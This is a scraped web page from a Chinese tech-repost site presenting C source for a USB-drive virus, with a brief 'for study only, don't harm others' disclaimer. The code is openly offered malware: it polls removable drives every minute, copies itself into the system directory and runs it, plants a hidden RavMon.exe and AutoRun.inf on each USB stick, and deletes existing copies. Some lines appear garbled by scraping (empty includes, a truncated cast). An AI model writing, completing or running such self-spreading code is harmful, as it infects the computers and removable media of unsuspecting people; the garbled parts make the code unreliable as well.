您好,欢迎来到微智科技网。
搜索
您的当前位置:首页C语言实现的U盘病毒

C语言实现的U盘病毒

来源:微智科技网


C语言实现U盘病毒

【注意:别拿去坑人,后果自负,仅限学习使用】

#include

#include

BOOL UDevice();

void ResourceToFile(char *filename, char *Name, char* Type);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,

LPSTR lpCmdLine, int nShowCmd)

{

UDevice();

return 0;

}

BOOL UDevice()

{

while (1)

{

char Name[256] = \"H:\\\\\";

char szName[256];

char ToPath[256];

char infPath[256];

char OpenUDevice[79];

UINT retType;

memset(szName, 0, 256);

memset(ToPath, 0, 256);

memset(infPath, 0, 256);

memset(OpenUDevice, 0, 79);

//do

//{

//}while()

//遍历盘符

unsigned char i = 0x42;

for (; i < 0x5B; i += 0x1)

{

Name[0] = i;

retType = GetDriveType(Name);

//判断是否是可移动存储设备

if (retType == DRIVE_REMOVABLE)

{

//得到自身文件路径

GetModuleFileName(NULL, szName, 256);

//比较是否和U盘的盘符相同

if (strncmp(Name, szName, 1) == 0)

{

//得到系统目录

GetSystemDirectory(ToPath, 256);

strcat(ToPath, \"\\\\Uinfect.exe\");

//把自身文件复制到系统目录

if (CopyFile(szName, ToPath, TRUE))

{

WinExec(ToPath, 0);//运行程序

}

strcpy(OpenUDevice, \"explorer \");

strcat(OpenUDevice, Name);

//打开U盘

WinExec(OpenUDevice, 1);

return 0;

}

else

{

strcpy(ToPath, Name);

strcat(ToPath, \"\\\\RavMon.exe\");

strcpy(infPath, Name);

strcat(infPath, \"\\\\AutoRun.inf\");

//还原U盘上的文件属性

SetFileAttributes(ToPath, FILE_ATTRIBUTE_NORMAL);

SetFileAttributes(infPath, FILE_ATTRIBUTE_NORMAL);

//删除原有文件

DeleteFile(ToPath);

DeleteFile(infPath);

//释放AutoRun.inf到U盘

ResourceToFile(infPath, (char*)0x, (char*)256);

//拷贝自身文件到U盘

CopyFile(szName, ToPath, FALSE);

//把这两个文件设置成系统,隐藏属性

//这里我查了MSDN 因为第二个参数的宏可能用了或位运算,所以推导宏定义有点麻烦

SetFileAttributes(ToPath, 0x6);

SetFileAttributes(infPath, 0x6);

}

}

}

//一分钟检测一次U盘

Sleep(60000);

}

}

void ResourceToFile(char *filename, char *Name, char* Type)

{

//寻找自身进程中的资源

HRSRC hRes = FindResource(NULL, Name, Type);

if (hRes == NULL)

return;

//导入资源

HGLOBAL hgRes = LoadResource(NULL, hRes);

if (hgRes == NULL)

return;

//锁定资源

void *pRes = LockResource(hgRes);

if (pRes == NULL)

return;

//得到资源字节数

DWORD size = SizeofResource(NULL, hRes);

if (size == 0)

return;

//创建文件

HANDLE hFile = CreateFile(filename, 0x40000000, 0, 0,

CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

if (hFile == INVALID_HANDLE_VALUE)

return;

DWORD dwWrite;

//把资源写入到文件

if (!WriteFile(hFile, pRes, size, &dwWrite, 0))

return;

//关闭文件句柄

CloseHandle(hFile);

//释放资源

GlobalFree(hgRes);

}

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- 7swz.com 版权所有 赣ICP备2024042798号-8

违法及侵权请联系:TEL:199 18 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务